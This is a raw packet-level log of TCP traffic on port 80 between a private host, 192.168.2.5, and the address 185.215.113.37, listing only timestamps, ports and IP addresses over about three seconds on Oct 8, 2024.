Oct 8, 2024 22:32:12.646701097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.646707058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.646713018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.646723986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.646733046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.646735907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.646737099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.646740913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.646743059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.646752119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.646764040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.646775007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.646783113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.646786928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.646799088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.646799088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.646811962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.646811962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.646826029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.646838903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.646842957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.646850109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.646862984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.646867037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.646876097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.646883011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.646903038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.646934032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.679893017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.679905891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.679919004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.679965019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.679980040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.680114031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.680166960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.775116920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.775136948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.775156975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.775167942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.775180101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.775185108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.775192022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.775223970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.775239944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.775317907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.775331974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.775342941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.775362968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.775382042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.775399923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.775412083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.775423050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.775443077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.775469065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.776745081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.776757956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.776767969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.776802063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.776813984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.777298927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.777311087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.777323008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.777349949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.777374029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.777400970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.777412891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.777421951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.777435064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.777445078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.777446985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.777456999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.777472019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.777472019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.777487993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.777518034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.777540922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.777568102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.777580976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.777585030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.777592897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.777605057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.777611971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.777621984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.777642012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.778179884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.778192043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.778203011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.778229952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.778250933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.778255939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.778265953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.778276920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.778287888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.778290987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.778367043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.778378963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.778392076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.778393984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.778393984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.778404951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.778414965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.778418064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.778429985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.778438091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.778456926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.778480053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.778939962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.778990030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.778995037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.779010057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.779033899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.779046059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.779067993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.779079914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.779090881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.779102087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.779112101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.779114008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.779141903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.779151917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.779220104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.779232979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.779242039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.779256105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.779266119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.779268980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.779279947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.779289961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.779293060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.779303074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.779305935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.779318094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.779330969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.779334068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.779360056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.779372931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.779958010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.780013084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.780379057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.780390978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.780400991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.780412912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.780426025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.780431986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.780442953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.780452013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.780452967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.780467033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.780472994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.780486107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.780514002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.780606985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.780618906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.780628920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.780641079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.780648947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.780652046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.780670881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.780695915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.780929089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.780941010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.780951977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.780982971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.780993938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.781012058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.781023979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.781035900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:12.781052113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.781064034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.781081915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.809927940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:12.814919949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.039460897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.039501905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.039537907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.039570093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.039570093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.039572001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.039594889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.039628029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.039673090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.039673090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.039683104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.039719105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.039753914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.039755106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.039788961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.039796114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.039796114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.039824009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.039833069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.039879084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.039912939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.039922953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.039922953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.039947987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.039982080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.039988995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.039988995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.040016890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.040060043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.040060043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.040070057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.040122032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.040138960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.040191889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.040194035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.040227890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.040261030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.040270090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.040270090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.040303946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.040313005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.040347099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.040364027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.040380955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.040422916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.040422916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.040435076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.040468931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.040501118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.040513039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.040513039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.040537119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.040560007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.040591002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.040606022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.040644884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.040648937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.040679932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.040714025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.040724993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.040724993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.040749073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.040791988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.040791988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.040802956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.040838003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.040889978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.040915966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.040915966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.040946007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.040981054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041013002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041045904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041052103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041100025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041134119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041167021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041172981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041203976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041215897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041215897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041234016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041266918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041274071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041274071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041301966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041336060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041347027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041347027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041372061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041379929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041407108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041441917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041450024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041450024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041476965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041512966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041521072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041521072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041546106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041580915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041588068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041588068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041614056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041647911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041656017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041656017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041682005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041716099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041727066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041727066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041753054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041788101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041798115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041798115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041822910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041857958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041863918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041865110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041892052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041925907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041935921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041935921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.041959047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.041992903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.042001963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.042001963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.042027950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.042062044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.042072058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.042072058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.042095900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.042129040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.042139053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.042139053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.042164087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.042201042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.042207956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.042207956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.042248011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.131555080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.131692886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.725677967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.725677967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:13.731316090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:13.731332064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:14.528381109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:14.528430939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:14.598311901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:14.603532076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:14.830905914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:14.830929995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:14.830971956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:14.831017971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:14.944307089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:14.944334030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:14.944374084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:14.944412947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:14.948298931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:14.953363895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:15.179888010 CEST	80	49704	185.215.113.37	192.168.2.5
